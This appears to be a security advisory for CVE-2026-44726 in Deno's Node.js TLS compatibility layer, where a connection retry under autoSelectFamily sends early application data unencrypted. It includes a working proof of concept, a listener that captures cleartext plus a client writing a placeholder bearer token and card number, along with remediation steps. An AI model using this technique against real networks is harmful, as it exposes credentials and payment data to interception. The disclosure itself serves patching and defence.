Node.js CVE-2026-44726
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
2DescriptionNVD
Summary
A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.
As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.
Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.
Proof of concept
attacker.mjs (captures whatever the client sends)
import net from "node:net";
const server = net.createServer((socket) => {
console.log("[attacker] client connected from", socket.remoteAddress);
socket.on("data", (chunk) => {
// If TLS were working, this would be an opaque ClientHello.
// If the bug fires, we see the application payload in cleartext.
console.log("[attacker] received", chunk.length, "bytes:");
console.log(chunk.toString("utf8"));
});
});
server.listen(4444, "127.0.0.1", () => {
console.log("[attacker] listening on 127.0.0.1:4444");
});victim.mjs (a normal-looking TLS client)
import tls from "node:tls";
const socket = tls.connect({
host: "api.example.invalid",
port: 4444,
autoSelectFamily: true, // Node-compat default
// First address is a black hole (nothing on [::1]:4444),
// so autoSelectFamily falls back to the second address.
// In a real attack, the on-path attacker arranges this via
// routing, DNS, or by dropping the first SYN.
lookup: (_host, _opts, cb) => {
cb(null, [
{ address: "::1", family: 6 }, // fails -> retry
{ address: "127.0.0.1", family: 4 }, // attacker
]);
},
rejectUnauthorized: false,
});
// Application writes BEFORE secureConnect - common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));
socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error", (e) => console.log("[victim] error:", e.message));In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs
Expected vs. observed
On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.
On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:
[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.
AnalysisAI
Cleartext transmission of TLS-bound data in Deno's Node.js compatibility layer (versions >= 2.0.0, < 2.7.8) allows an on-path attacker to read and tamper with traffic an application believed was encrypted. When the default autoSelectFamily option is enabled and the first connection attempt fails, the socket reinitialization path reuses a stale TLS upgrade hook tied to the dead handle, so the retry connection is never upgraded to TLS and any bytes written before the secureConnect event leave the host in plaintext. …
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RemediationAI
Within 24 hours: identify all systems running Deno versions 2.0.0 through 2.7.7 using Node.js compatibility mode, and disable autoSelectFamily option if immediate patching is not feasible. Within 7 days: plan and schedule upgrade to Deno 2.7.8 or later. …
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External POC / Exploit Code
Leaving vuln.today
GHSA-chqv-56wv-7564